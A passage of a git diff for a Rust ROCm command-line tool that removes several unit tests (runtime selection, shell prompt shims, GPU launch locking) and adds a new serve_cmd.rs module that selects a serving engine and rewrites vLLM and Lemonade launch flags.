assert!(rendered.contains("unsupported_linux_dkms_plan")); - assert!(!rendered.contains("SUSEConnect")); - assert!(!rendered.contains("amdgpu-dkms")); + let warning = serve_gpu_low_memory_warning(&[0], Some(&forced), Some(&host_gpu("gfx1100"))) + .expect("a near-full discrete card warrants the serve-plan warning"); + assert!(warning.contains("GPU 0")); } #[test] @@ -34755,47 +29268,6 @@ ID_LIKE="suse opensuse" assert!(off.contains(" openai: enabled")); } - #[test] - fn engine_install_runtime_selection_requires_configured_runtime() -> Result<()> { - let (root, paths) = test_paths("engine-install-runtime-selection"); - let error = - resolve_engine_install_runtime_id(&paths, &RocmCliConfig::default(), "vllm", None) - .unwrap_err() - .to_string(); - assert!(error.contains("no active ROCm runtime is configured")); - assert_eq!( - resolve_engine_install_runtime_id(&paths, &RocmCliConfig::default(), "lemonade", None)?, - format!("lemonade-embeddable-{}", rocm_deps::LEMONADE_VERSION), - ); - write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all", - "therock-release:gfx120X-all", - "7.13.0", - 1, - )?; - - let config = RocmCliConfig { - active_runtime_key: Some("release-pip-gfx120x-all".to_owned()), - ..RocmCliConfig::default() - }; - assert_eq!( - resolve_engine_install_runtime_id(&paths, &config, "vllm", None)?, - "release-pip-gfx120x-all" - ); - assert_eq!( - resolve_engine_install_runtime_id( - &paths, - &config, - "vllm", - Some("therock-release:gfx120X-all".to_owned()) - )?, - "release-pip-gfx120x-all" - ); - let _ = fs::remove_dir_all(root); - Ok(()) - } - #[test] fn runtime_selector_recovers_setup_runtime_registry_from_local_manifest() -> Result<()> { let (root, paths) = test_paths("runtime-selector-recover-setup"); @@ -34943,96 +29415,6 @@ ID_LIKE="suse opensuse" Ok(()) } - #[test] - fn env_root_for_runtime_uses_runtime_install_root() -> Result<()> { - let (root, paths) = test_paths("engine-env-root-runtime"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all", - "therock-release:gfx120X-all", - "7.13.0", - 1, - )?; - - let engine_root = env_root_for_runtime(&paths, "vllm", &manifest.runtime_key)?; - - assert_eq!(engine_root, Some(manifest.install_root.join("engines"))); - assert_eq!( - env_root_for_runtime(&paths, "lemonade", &manifest.runtime_key)?, - None - ); - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn env_root_for_engine_install_uses_active_runtime_root_for_lemonade() -> Result<()> { - let (root, paths) = test_paths("lemonade-engine-env-root-runtime"); - let manifest = write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all", - "therock-release:gfx120X-all", - "7.13.0", - 1, - )?; - let config = RocmCliConfig { - active_runtime_key: Some(manifest.runtime_key.clone()), - ..RocmCliConfig::default() - }; - - let engine_root = - env_root_for_engine_install(&paths, &config, "lemonade", "lemonade-embeddable")?; - - assert_eq!(engine_root, Some(manifest.install_root.join("engines"))); - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn engine_runtime_selection_rejects_ambiguous_default_runtime_id() -> Result<()> { - let (root, paths) = test_paths("engine-runtime-ambiguous-default"); - write_test_pip_runtime( - &paths, - "release-pip-gfx120x-all", - "therock-release:gfx120X-all", - "7.13.0", - 1, - )?; - write_test_pip_runtime( - &paths, - "vllm-source-pip-gfx120x-all", - "therock-release:gfx120X-all", - "7.13.0", - 2, - )?; - let config = RocmCliConfig { - default_runtime_id: Some("therock-release:gfx120X-all".to_owned()), - ..RocmCliConfig::default() - }; - - let error = resolve_engine_install_runtime_id(&paths, &config, "vllm", None) - .unwrap_err() - .to_string(); - assert!(error.contains("matches multiple installed runtimes")); - assert!(error.contains("rocm runtimes activate ")); - - let selection = resolve_engine_selection(&config, "vllm", None, None); - let error = validate_engine_selection_runtime(&paths, selection) - .unwrap_err() - .to_string(); - assert!(error.contains("matches multiple installed runtimes")); - - let selection = - resolve_engine_selection(&config, "vllm", Some("release-pip-gfx120x-all"), None); - let selection = validate_engine_selection_runtime(&paths, selection)?; - assert_eq!( - selection.runtime_id.as_deref(), - Some("release-pip-gfx120x-all") - ); - let _ = fs::remove_dir_all(root); - Ok(()) - } - #[test] fn render_runtimes_text_reports_missing_configured_active_runtime() -> Result<()> { let (root, paths) = test_paths("runtime-active-missing"); @@ -37359,7 +31741,7 @@ ID_LIKE="suse opensuse" /// They differ in `runtime_key`, `version` and install root, and share one /// `runtime_id` — that is what the field means, so this is not a corrupt /// registry. - fn side_by_side_runtimes() -> Vec { + pub(crate) fn side_by_side_runtimes() -> Vec { let mut older = test_runtime_manifest_for_update( "release-wheel-gfx94x-dcgpu-7-13-0", "therock-release:gfx94X-dcgpu", @@ -37377,74 +31759,6 @@ ID_LIKE="suse opensuse" vec![older, newer] } - /// The interpreter names its runtime where the shared `runtime_id` cannot. - /// - /// This is the cross-wiring that settled the active runtime's torch into an - /// older runtime's environment: the engine's env id drops the version, so - /// the environment belongs to 7.13.0 while the caller's selector says only - /// "release, gfx94X-dcgpu". Resolving by install root has to pick 7.13.0. - #[test] - fn the_runtime_is_resolved_by_its_interpreter_not_the_shared_runtime_id() { - let manifests = side_by_side_runtimes(); - - assert_eq!( - runtime_manifest_for_selector(&manifests, "therock-release:gfx94X-dcgpu") - .map(|manifest| manifest.runtime_key.as_str()), - None, - "the shared runtime_id names two runtimes, so a selector cannot resolve it" - ); - assert_eq!( - runtime_key_owning_python( - &manifests, - Path::new("/runtimes/release-wheel-gfx94x-dcgpu-7-13-0/bin/python3"), - ), - Some("release-wheel-gfx94x-dcgpu-7-13-0"), - "the interpreter's install root names the runtime being settled" - ); - } - - /// An interpreter outside every install root leaves the caller's selector alone. - /// - /// External and self-managed environments live outside the registry, and - /// inventing an owner for them would settle a runtime nobody asked about. - #[test] - fn an_interpreter_outside_every_install_root_owns_nothing() { - assert_eq!( - runtime_key_owning_python( - &side_by_side_runtimes(), - Path::new("/opt/somewhere-else/bin/python3"), - ), - None - ); - } - - /// A prefix match alone is ambiguous once roots nest, so the longest wins. - #[test] - fn the_longest_containing_install_root_owns_the_interpreter() { - let mut outer = test_runtime_manifest_for_update( - "outer", - "therock-release:gfx94X-dcgpu", - "gfx94X-dcgpu", - "7.13.0", - ); - outer.install_root = PathBuf::from("/runtimes"); - let mut inner = test_runtime_manifest_for_update( - "inner", - "therock-release:gfx94X-dcgpu", - "gfx94X-dcgpu", - "7.14.0", - ); - inner.install_root = PathBuf::from("/runtimes/release-wheel-gfx94x-dcgpu-7-14-0"); - - assert_eq!( - runtime_key_owning_python( - &[outer, inner], - Path::new("/runtimes/release-wheel-gfx94x-dcgpu-7-14-0/bin/python3"), - ), - Some("inner") - ); - } - /// A torch the user installed themselves is kept, and named as kept. /// /// The Python does not exist and an index is supplied, so an alignment that @@ -37754,40 +32068,6 @@ ID_LIKE="suse opensuse" ); } - #[test] - fn render_engine_inventory_text_honors_configured_default_engine() { - // Regression: this renderer used to mark only `default_engine_for_host`, - // ignoring a configured `default_engine` — the same host-vs-configured - // precedence `select_serve_engine` and `append_examine_engine_inventory` - // already honor. Pick whichever engine the host does NOT prefer so the - // configured value is guaranteed to actually change the marked engine. - let (root, paths) = test_paths("engine-inventory-configured-default"); - let host_default = - rocm_core::default_engine_for_host(&rocm_core::detect_host_gpu_summary(Some(&paths))); - let configured = if host_default == "vllm" { - "lemonade" - } else { - "vllm" - }; - let config = RocmCliConfig { - default_engine: Some(configured.to_owned()), - ..RocmCliConfig::default() - }; - config.save(&paths).expect("save config"); - - let rendered = render_engine_inventory_text_with_paths(Some(&paths)); - let _ = fs::remove_dir_all(root); - - assert!( - rendered.contains(&format!("{DEFAULT_ENGINE_MARKER} {configured}")), - "configured default engine {configured} must be marked; got:\n{rendered}" - ); - assert!( - !rendered.contains(&format!("{DEFAULT_ENGINE_MARKER} {host_default}")), - "host default {host_default} must not be marked once a different engine is configured; got:\n{rendered}" - ); - } - #[test] fn render_engine_inventory_text_omits_legend_when_configured_default_matches_nothing() { // A configured default naming an external plugin (or a stale/typo'd @@ -38576,145 +32856,6 @@ ID_LIKE="suse opensuse" // ---------- engine shell prompt shim ---------- - #[test] - fn bash_shim_sources_the_user_rc_and_prefixes_the_prompt() { - let dir = PathBuf::from("/tmp/shim"); - let shim = engine_shell_prompt_shim("/bin/bash", "(rocm:vllm) ", &dir, None) - .expect("bash must be shimmable"); - - // `--rcfile` is what makes bash run our file at all; `-i` keeps it - // interactive even if stdin is not a terminal in some caller. - assert_eq!( - shim.args, - vec![ - "--rcfile".to_owned(), - dir.join("engine-shell.bash").display().to_string(), - "-i".to_owned(), - ] - ); - assert!(shim.envs.is_empty(), "bash needs no extra env"); - - let (path, contents) = shim.files.first().expect("one rc file"); - assert_eq!(path, &dir.join("engine-shell.bash")); - assert!( - contents.contains("$HOME/.bashrc"), - "must restore the user's own rc:\n{contents}" - ); - // bash sources the system file itself even with --rcfile, so sourcing it - // here too would apply it twice. - assert!( - !contents.contains("/etc/bash.bashrc"), - "must not re-source the system rc:\n{contents}" - ); - assert!( - contents.contains("PS1='(rocm:vllm) '\"$PS1\""), - "must prefix rather than replace the prompt:\n{contents}" - ); - } - - #[test] - fn zsh_shim_restores_both_startup_files() { - let dir = PathBuf::from("/tmp/shim"); - let shim = engine_shell_prompt_shim("/usr/bin/zsh", "(rocm:vllm) ", &dir, None) - .expect("zsh must be shimmable"); - - assert!(shim.args.is_empty(), "zsh is redirected via env, not argv"); - assert!( - shim.envs - .contains(&("ZDOTDIR".to_owned(), dir.display().to_string())), - "zsh needs ZDOTDIR pointed at the shim dir: {:?}", - shim.envs - ); - - let names: Vec<_> = shim - .files - .iter() - .map(|(path, _)| path.file_name().unwrap().to_str().unwrap()) - .collect(); - // Redirecting ZDOTDIR hides BOTH of the user's files. Missing `.zshenv` - // would strip their exports — worse than the unmarked prompt this fixes. - assert!( - names.contains(&".zshenv") && names.contains(&".zshrc"), - "both startup files must be restored, got {names:?}" - ); - for (path, contents) in &shim.files { - assert!( - contents.contains("ROCM_CLI_ORIG_ZDOTDIR:-$HOME"), - "{} must fall back to $HOME:\n{contents}", - path.display() - ); - } - let zshrc = shim - .files - .iter() - .find(|(path, _)| path.ends_with(".zshrc")) - .map(|(_, contents)| contents) - .expect(".zshrc present"); - assert!( - zshrc.contains("PROMPT='(rocm:vllm) '$PROMPT"), - "must prefix rather than replace the prompt:\n{zshrc}" - ); - } - - #[test] - fn zsh_shim_passes_through_an_existing_zdotdir() { - let dir = PathBuf::from("/tmp/shim"); - let shim = engine_shell_prompt_shim("zsh", "(rocm:vllm) ", &dir, Some("/home/u/.zsh")) - .expect("zsh must be shimmable"); - assert!( - shim.envs.contains(&( - "ROCM_CLI_ORIG_ZDOTDIR".to_owned(), - "/home/u/.zsh".to_owned() - )), - "a caller's ZDOTDIR must survive so the shim can find their files: {:?}", - shim.envs - ); - - // A blank value is not a location; the shim's $HOME fallback must win. - let blank = engine_shell_prompt_shim("zsh", "(rocm:vllm) ", &dir, Some(" ")) - .expect("zsh must be shimmable"); - assert!( - !blank - .envs - .iter() - .any(|(key, _)| key == "ROCM_CLI_ORIG_ZDOTDIR"), - "a blank ZDOTDIR must not be passed through: {:?}", - blank.envs - ); - } - - #[test] - fn shells_without_a_safe_shim_are_left_alone() { - // Guessing at an unknown shell's startup is worse than the banner: these - // must opt out rather than have a marker forced on them. - let dir = PathBuf::from("/tmp/shim"); - for shell in [ - "/bin/sh", - "/bin/dash", - "/usr/bin/fish", - "cmd", - "powershell", - "pwsh", - "", - ] { - assert!( - engine_shell_prompt_shim(shell, "(rocm:vllm) ", &dir, None).is_none(), - "{shell} should not be shimmed" - ); - } - } - - #[test] - fn shim_matches_on_the_shell_name_not_the_full_path() { - let dir = PathBuf::from("/tmp/shim"); - for shell in ["bash", "/bin/bash", "/usr/local/bin/bash"] { - assert!( - engine_shell_prompt_shim(shell, "(rocm:x) ", &dir, None).is_some(), - "{shell} should resolve to bash" - ); - } - } - #[test] fn examine_engine_inventory_falls_back_to_the_host_engine_when_unconfigured() { // With nothing configured, the reported default must be the engine this @@ -38799,36 +32940,6 @@ ID_LIKE="suse opensuse" let _ = fs::remove_dir_all(root); } - #[test] - fn examine_treats_a_blank_configured_engine_as_unset() { - // Mirrors `select_serve_engine`'s guard: a config file with - // `default_engine = ""` must fall back to the host preference rather - // than reporting an empty engine name as "effective" and marking none - // of the real ones. - let (root, paths) = test_paths("examine-engine-inventory-blank-configured"); - let config = RocmCliConfig { - default_engine: Some(String::new()), - ..RocmCliConfig::default() - }; - let mut output = String::new(); - - append_examine_engine_inventory(&mut output, &paths, &config, "vllm"); - - assert!( - output.contains("configured_default_engine: "), - "a blank configured value must read as unset:\n{output}" - ); - assert!( - output.contains("effective_default_engine: vllm"), - "a blank configured value must fall back to the host default:\n{output}" - ); - assert!( - output.contains(" * vllm "), - "the '*' marker must land on the host's default, not an empty name:\n{output}" - ); - let _ = fs::remove_dir_all(root); - } - #[test] fn runtime_update_source_uses_active_runtime_and_requires_selector_when_ambiguous() -> Result<()> { @@ -38942,7 +33053,7 @@ ID_LIKE="suse opensuse" ); } - fn write_test_pip_runtime( + pub(crate) fn write_test_pip_runtime( paths: &AppPaths, runtime_key: &str, runtime_id: &str, @@ -39032,7 +33143,7 @@ ID_LIKE="suse opensuse" Ok(manifest) } - fn test_runtime_manifest_for_update( + pub(crate) fn test_runtime_manifest_for_update( runtime_key: &str, runtime_id: &str, family: &str, @@ -39181,7 +33292,7 @@ ID_LIKE="suse opensuse" let _ = fs::remove_dir_all(root); } - fn test_paths(name: &str) -> (PathBuf, AppPaths) { + pub(crate) fn test_paths(name: &str) -> (PathBuf, AppPaths) { let root = PathBuf::from(env!("CARGO_MANIFEST_DIR")) .join("..") .join("..") @@ -39322,7 +33433,12 @@ ID_LIKE="suse opensuse" /// real launch writes, with the current process id as the supervisor so the /// liveness refresh in `load_managed_services` keeps it "starting" (and thus /// counted by `busy_gpu_indices`). - fn write_claiming_record(paths: &AppPaths, service_id: &str, port: u16, gpu: &[u32]) { + pub(crate) fn write_claiming_record( + paths: &AppPaths, + service_id: &str, + port: u16, + gpu: &[u32], + ) { let mut record = ManagedServiceRecord::new( paths, service_id, @@ -39342,88 +33458,6 @@ ID_LIKE="suse opensuse" record.write().expect("write claiming record"); } - #[test] - fn launch_lock_makes_gpu_select_and_claim_atomic() { - // Regression for the serve read-select-launch race: the busy-GPU read and - // the claiming record write must happen under one lock, or two concurrent - // `--gpu auto` serves both read the same GPU as free and land on it. - // - // The test does NOT take the lock itself — that would only prove - // `FileLock` excludes (already covered by - // `file_lock_serializes_concurrent_holders` in rocm-core). It calls - // `select_gpu_indices_under_launch_lock`, the production helper `serve()` - // uses, whose contract is that it returns the guard *it* acquired together - // with the selection; the test holds that guard across the claim exactly - // as `serve()` holds it until `spawn_managed_engine_child` persists the - // record. Delete the `FileLock::acquire` from that helper and this test - // goes red: both threads then select GPU 0. - // - // Determinism: the barrier releases both threads together and each sleeps - // between select and claim, so an unlocked helper double-books GPU 0 - // regardless of scheduling skew, while the locked helper forces the second - // thread to observe the first thread's claim. - let (root, paths) = test_paths("launch-lock-atomic-claim"); - paths.ensure().expect("prepare paths"); - let detected = Some(2_usize); - - let barrier = std::sync::Barrier::new(2); - let selections = std::thread::scope(|scope| { - let handles: Vec<_> = [("svc-race-a", 21001_u16), ("svc-race-b", 21002_u16)] - .into_iter() - .map(|(service_id, port)| { - let paths = &paths; - let barrier = &barrier; - scope.spawn(move || { - barrier.wait(); - // The exact call `serve()` makes: the helper acquires the - // launch lock and selects under it, handing the guard back. - // `None` visibility keeps selection mask-unaware for the - // test host; `pinned` `None` + `cpu_only` false is the - // `--gpu auto` path that reads live busy-GPU state. - let (gpu, lock) = select_gpu_indices_under_launch_lock( - paths, - false, - None, - || detected, - None, - None, - ) - .expect("auto GPU selection under launch lock"); - // Widen the select→claim window so an unlocked helper - // deterministically double-books GPU 0; under the lock the - // second thread cannot enter until we claim. - std::thread::sleep(Duration::from_millis(50)); - write_claiming_record(paths, service_id, port, &gpu); - drop(lock); - gpu - }) - }) - .collect(); - handles - .into_iter() - .map(|handle| handle.join().expect("selection thread joins")) - .collect::>() - }); - - let mut picked: Vec = selections.into_iter().flatten().collect(); - picked.sort_unstable(); - assert_eq!( - picked, - vec![0, 1], - "serialized select-then-claim must hand out distinct GPUs, got {picked:?}" - ); - - let _ = fs::remove_dir_all(&root); - } - - // ---- Phase 9: reroute dispatch (bare `rocm` + interactive `rocm chat`) ---- - // - // The interactive branches require a real TTY (`interactive_terminal()`), - // which is unavailable in CI, and the dash visuals are trust-prior. These - // tests instead PROVE the dispatch TARGET changed: the two interactive - // handlers now call `dash::run_chat` and no longer call `tui::run`. We read - // this source file at test time and assert on the handler bodies. - fn main_rs_source() -> String { let path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) .join("src") diff --git a/apps/rocm/src/serve_cmd.rs b/apps/rocm/src/serve_cmd.rs new file mode 100644 index 000000000..26037a911 --- /dev/null +++ b/apps/rocm/src/serve_cmd.rs @@ -0,0 +1,1746 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! `rocm serve` command handler and engine-recipe overrides. +//! +//! Mechanically relocated from `main.rs` with no behavior change — the +//! `dispatch()` call site stays byte-identical (`serve(ServeArgs { .. })`, +//! re-imported via `use crate::serve_cmd::{serve, ServeArgs};`). `Cli` +//! remains at the crate root, as does `DevicePolicyArg` (part of the clap +//! arg tree). The managed-service-spawning tail (`start_managed_service`, +//! `run_attached_service`, etc.) stays in `main.rs` since it's shared with +//! the background-service runner outside this cluster. + +use std::fmt::Write as _; + +use anyhow::{Result, bail}; +use rocm_core::{ + AppPaths, ModelRecipeRecord, RocmCliConfig, default_engine_for_platform, + detect_host_gpu_summary, generate_service_id, preferred_serve_engine_for_host_gpu_summary, + resolve_model_recipe, +}; +use rocm_engine_protocol::{ + DevicePolicy, ENGINE_RECIPE_CONTRACT_VERSION, EngineMethod, EngineRecipeEndpointHint, + EngineRecipeHint, EngineRecipeUnsupportedCombinationHint, GpuSelection, ResolveModelRequest, + ResolveModelResponse, +}; + +use crate::DevicePolicyArg; +use crate::endpoint_keys; +use crate::engines_cmd::{engine_manages_own_runtime, ensure_self_managed_engine_ready}; +use crate::serve_summary; +use crate::{ + ServeEngineSelection, cli_progress, collect_serve_notes, detect_gpu_count, device_policy_name, + drop_orphaned_endpoint_key_on_already_running, engine_request, + ensure_background_helper_running_quiet, ensure_public_bind_engine_supported, gpu_vram_usage, + parse_device_policy, parse_gpu_selection, print_managed_launch_plain, resolve_endpoint_auth, + resolve_engine_selection, run_attached_service, select_gpu_indices_under_launch_lock, + serve_gpu_low_memory_warning, start_managed_service, validate_bind_host, + validate_engine_selection_runtime, validate_pinned_gpu_index, +}; + +fn select_serve_engine( + explicit_engine: Option<&str>, + configured_default: Option<&str>, + recipe: Option<&ModelRecipeRecord>, + host_gpu_summary: Option<&rocm_core::HostGpuSummary>, +) -> ServeEngineSelection { + if let Some(engine) = explicit_engine.filter(|value| !value.trim().is_empty()) { + return ServeEngineSelection { + engine: engine.to_owned(), + source: "explicit --engine", + }; + } + + if let Some(engine) = configured_default.filter(|value| !value.trim().is_empty()) { + return ServeEngineSelection { + engine: engine.to_owned(), + source: "configured default_engine", + }; + } + + if let Some(engine) = host_gpu_summary.and_then(preferred_serve_engine_for_host_gpu_summary) { + // Only honor the GPU preference when the model's recipe can actually run on + // that engine. A recipe that exists but does not support the preferred engine + // (for example a GGUF model that only Lemonade can serve) must fall through to + // its own preferred engine instead of being forced onto an incompatible engine. + let recipe_supports_preferred = + recipe.is_none_or(|recipe| model_recipe_supports_engine(recipe, engine)); + if recipe_supports_preferred { + return ServeEngineSelection { + engine: engine.to_owned(), + source: "detected ROCm GPU family prefers vLLM", + }; + } + } + + if let Some(engine) = recipe + .and_then(|recipe| recipe.preferred_engines.first()) + .filter(|value| !value.trim().is_empty()) + { + return ServeEngineSelection { + engine: engine.to_owned(), + source: "recipe preferred engine; pass --engine to override; no automatic fallback", + }; + } + + ServeEngineSelection { + engine: default_engine_for_platform().to_owned(), + source: "platform default", + } +} + +fn model_recipe_supports_engine(recipe: &ModelRecipeRecord, engine: &str) -> bool { + recipe + .preferred_engines + .iter() + .any(|candidate| candidate.eq_ignore_ascii_case(engine)) + || recipe + .engine_recipes + .iter() + .any(|candidate| candidate.engine.eq_ignore_ascii_case(engine)) +} + +fn serve_model_ref_for_engine( + model: &str, + recipe: Option<&ModelRecipeRecord>, + selected_engine: &str, +) -> String { + let Some(recipe) = + recipe.filter(|recipe| model_recipe_supports_engine(recipe, selected_engine)) + else { + return model.to_owned(); + }; + if let Some(override_id) = recipe + .engine_recipes + .iter() + .find(|engine_recipe| engine_recipe.engine.eq_ignore_ascii_case(selected_engine)) + .and_then(|engine_recipe| engine_recipe.model_id_override.as_deref()) + .filter(|value| !value.trim().is_empty()) + { + return override_id.to_owned(); + } + recipe.canonical_model_id.clone() +} + +fn serve_engine_selection_line(selection: &ServeEngineSelection) -> String { + format!(" engine_selection: {}", selection.source) +} + +fn render_serve_engine_recipe_lines(engine_recipe: &EngineRecipeHint) -> String { + let mut output = String::new(); + let _ = writeln!( + output, + " engine_recipe_contract: {}", + engine_recipe.contract_version + ); + let _ = writeln!( + output, + " engine_recipe_policy: selected-engine required_flags are applied at launch; parser/endpoint metadata is forwarded to the adapter" + ); + let _ = writeln!(output, " engine_recipe_engine: {}", engine_recipe.engine); + if !engine_recipe.required_flags.is_empty() { + let _ = writeln!( + output, + " engine_recipe_required_flags: {}", + engine_recipe.required_flags.join(" ") + ); + } + output +} + +fn protocol_engine_recipe_hint( + recipe: &ModelRecipeRecord, + engine: &str, +) -> Option { + recipe + .engine_recipes + .iter() + .find(|engine_recipe| engine_recipe.engine == engine) + .map(|engine_recipe| EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: engine_recipe.engine.clone(), + required_flags: engine_recipe.required_flags.clone(), + parser_settings: engine_recipe.parser_settings.clone(), + preferred_endpoint: engine_recipe.preferred_endpoint.as_ref().map(|endpoint| { + EngineRecipeEndpointHint { + endpoint_mode: endpoint.endpoint_mode.clone(), + settings: endpoint.settings.clone(), + } + }), + unsupported_combinations: engine_recipe + .unsupported_combinations + .iter() + .map(|combination| EngineRecipeUnsupportedCombinationHint { + combination: combination.combination.clone(), + reason: combination.reason.clone(), + }) + .collect(), + notes: engine_recipe.notes.clone(), + }) +} + +/// Applies an explicit `--tool-call-parser` override to a vLLM engine recipe hint. +/// +/// The TUI chat tab always attaches tool definitions to non-streaming chat +/// requests (`tool_choice: "auto"`). vLLM rejects those with HTTP 400 unless it was +/// started with `--enable-auto-tool-choice` *and* a matching `--tool-call-parser`. +/// The correct parser is model-specific and vLLM does not auto-detect it, so it is +/// never guessed from the model ref: it comes either from authored catalog recipe +/// metadata (already carried in `required_flags`) or from the explicit +/// `--tool-call-parser` serve flag, which this applies. +/// +/// Only vLLM is affected. When an override is supplied it wins over any +/// recipe-authored parser (a single `--tool-call-parser`, no duplication) and a +/// minimal hint is synthesized when none exists (arbitrary HF repos, or a catalog +/// model forced onto a non-preferred engine). With no override the hint passes +/// through unchanged. +fn engine_recipe_with_tool_call_override( + engine: &str, + hint: Option, + tool_call_parser: Option<&str>, +) -> Option { + if !engine.eq_ignore_ascii_case("vllm") { + return hint; + } + let Some(parser) = tool_call_parser + .map(str::trim) + .filter(|value| !value.is_empty()) + else { + return hint; + }; + let mut hint = hint.unwrap_or_else(|| EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: engine.to_owned(), + ..EngineRecipeHint::default() + }); + set_vllm_tool_call_parser(&mut hint.required_flags, parser); + Some(hint) +} + +/// Sampling defaults a `rocm serve` invocation can push into a vLLM launch. +#[derive(Debug, Clone, Copy, Default, PartialEq)] +struct ServeGenerationDefaults { + temperature: Option, + top_p: Option, + max_tokens: Option, +} + +impl ServeGenerationDefaults { + const fn is_empty(&self) -> bool { + self.temperature.is_none() && self.top_p.is_none() && self.max_tokens.is_none() + } +} + +/// Applies `rocm serve` generation defaults (`--temperature`/`--top-p`/`--max-tokens`) +/// to the selected engine's launch recipe. +/// +/// vLLM `serve` has no raw `--temperature`/`--top-p` flags; `--override-generation-config` +/// is the supported way to set server-wide sampling defaults, so `--max-tokens` is +/// mapped onto vLLM's `max_new_tokens` output cap. Only supplied values are written, +/// and any values already carried by an authored recipe's +/// `--override-generation-config` are preserved (the CLI-supplied keys win). +/// +/// Lemonade's llama.cpp backend accepts the equivalent `--temperature`, `--top-p`, +/// and `--n-predict` launch flags. A minimal hint is synthesized when none exists. +/// With no defaults supplied the hint passes through unchanged. +fn engine_recipe_with_generation_defaults( + engine: &str, + hint: Option, + defaults: ServeGenerationDefaults, +) -> Result> { + if defaults.is_empty() { + return Ok(hint); + } + let mut hint = hint.unwrap_or_else(|| EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: engine.to_owned(), + ..EngineRecipeHint::default() + }); + if engine.eq_ignore_ascii_case("vllm") { + let mut overrides = serde_json::Map::new(); + if let Some(temperature) = defaults.temperature { + overrides.insert("temperature".to_owned(), serde_json::json!(temperature)); + } + if let Some(top_p) = defaults.top_p { + overrides.insert("top_p".to_owned(), serde_json::json!(top_p)); + } + if let Some(max_tokens) = defaults.max_tokens { + overrides.insert("max_new_tokens".to_owned(), serde_json::json!(max_tokens)); + } + set_vllm_override_generation_config(&mut hint.required_flags, &overrides); + } else if engine.eq_ignore_ascii_case("lemonade") { + set_lemonade_generation_defaults(&mut hint.required_flags, defaults); + } else { + bail!( + "generation defaults are not supported by engine `{engine}`; omit --temperature/--top-p/--max-tokens or select vllm/lemonade" + ); + } + Ok(Some(hint)) +} + +fn set_lemonade_generation_defaults(flags: &mut Vec, defaults: ServeGenerationDefaults) { + // Only touch a flag pair when the caller actually supplied that control — + // an unset field must leave any authored recipe value in place rather than + // deleting it, mirroring the vLLM merge semantics in + // `set_vllm_override_generation_config`. + for (name, value) in [ + ( + "--temperature", + defaults.temperature.map(|value| value.to_string()), + ), + ("--top-p", defaults.top_p.map(|value| value.to_string())), + ( + "--n-predict", + defaults.max_tokens.map(|value| value.to_string()), + ), + ] { + let Some(value) = value else { + continue; + }; + let mut rewritten = Vec::with_capacity(flags.len() + 2); + let mut skip_value = false; + for flag in std::mem::take(flags) { + if skip_value { + skip_value = false; + continue; + } + if flag == name { + skip_value = true; + } else { + rewritten.push(flag); + } + } + rewritten.extend([name.to_owned(), value]); + *flags = rewritten; + } +} + +/// Rewrites `flags` so vLLM's `--override-generation-config` carries exactly one +/// merged JSON object: any existing `--override-generation-config ` pair is +/// removed, its keys are used as a base, and `overrides` are layered on top (CLI +/// values win). Emits a single flag pair with the merged, stably-ordered config. +fn set_vllm_override_generation_config( + flags: &mut Vec, + overrides: &serde_json::Map, +) { + let existing = std::mem::take(flags); + let mut rewritten: Vec = Vec::with_capacity(existing.len() + 2); + let mut merged = serde_json::Map::new(); + let mut take_value = false; + for flag in existing { + if take_value { + take_value = false; + if let Ok(serde_json::Value::Object(existing_config)) = + serde_json::from_str::(&flag) + { + for (key, value) in existing_config { + merged.insert(key, value); + } + } else { + eprintln!( + "warning: existing --override-generation-config value is not valid JSON; discarding it" + ); + } + continue; + } + if flag == "--override-generation-config" { + take_value = true; + continue; + } + rewritten.push(flag); + } + for (key, value) in overrides { + merged.insert(key.clone(), value.clone()); + } + rewritten.push("--override-generation-config".to_owned()); + rewritten.push(serde_json::Value::Object(merged).to_string()); + *flags = rewritten; +} + +/// Rewrites `flags` so vLLM tool calling uses exactly `parser`: drops any existing +/// `--tool-call-parser ` pair, ensures `--enable-auto-tool-choice` is +/// present, then appends the new parser flag. +fn set_vllm_tool_call_parser(flags: &mut Vec, parser: &str) { + let existing = std::mem::take(flags); + let mut rewritten: Vec = Vec::with_capacity(existing.len() + 3); + let mut skip_value = false; + for flag in existing { + if skip_value { + // Drop the value that followed the removed `--tool-call-parser`. + skip_value = false; + continue; + } + if flag == "--tool-call-parser" { + skip_value = true; + continue; + } + rewritten.push(flag); + } + if !rewritten + .iter() + .any(|flag| flag == "--enable-auto-tool-choice") + { + rewritten.push("--enable-auto-tool-choice".to_owned()); + } + rewritten.push("--tool-call-parser".to_owned()); + rewritten.push(parser.to_owned()); + *flags = rewritten; +} + +/// Applies an explicit `--gpu-memory-utilization` to the vLLM engine recipe. +/// +/// rocm-cli intentionally ships no default for this: vLLM sizes its KV cache as +/// a fraction of the device's TOTAL VRAM, and any number rocm-cli picked would +/// silently override upstream's and drift from it. So the flag is passed through +/// only when the user asked for one, via `required_flags` (the same channel the +/// `--tool-call-parser` override uses — no protocol change needed). +/// +/// Only vLLM is affected. An explicit value wins over any recipe-authored one, +/// and a minimal hint is synthesized when none exists. +fn engine_recipe_with_gpu_memory_utilization_override( + engine: &str, + hint: Option, + gpu_memory_utilization: Option, +) -> Option { + if !engine.eq_ignore_ascii_case("vllm") { + return hint; + } + let Some(value) = gpu_memory_utilization else { + return hint; + }; + let mut hint = hint.unwrap_or_else(|| EngineRecipeHint { + contract_version: ENGINE_RECIPE_CONTRACT_VERSION.to_owned(), + engine: engine.to_owned(), + ..EngineRecipeHint::default() + }); + set_vllm_gpu_memory_utilization(&mut hint.required_flags, value); + Some(hint) +} + +/// Rewrites `flags` so vLLM receives exactly one `--gpu-memory-utilization +/// ` pair: drops any existing pair, then appends the new one. +fn set_vllm_gpu_memory_utilization(flags: &mut Vec, value: f64) { + let existing = std::mem::take(flags); + let mut rewritten: Vec = Vec::with_capacity(existing.len() + 2); + let mut skip_value = false; + for flag in existing { + if skip_value { + // Drop the value that followed the removed flag. + skip_value = false; + continue; + } + if flag == "--gpu-memory-utilization" 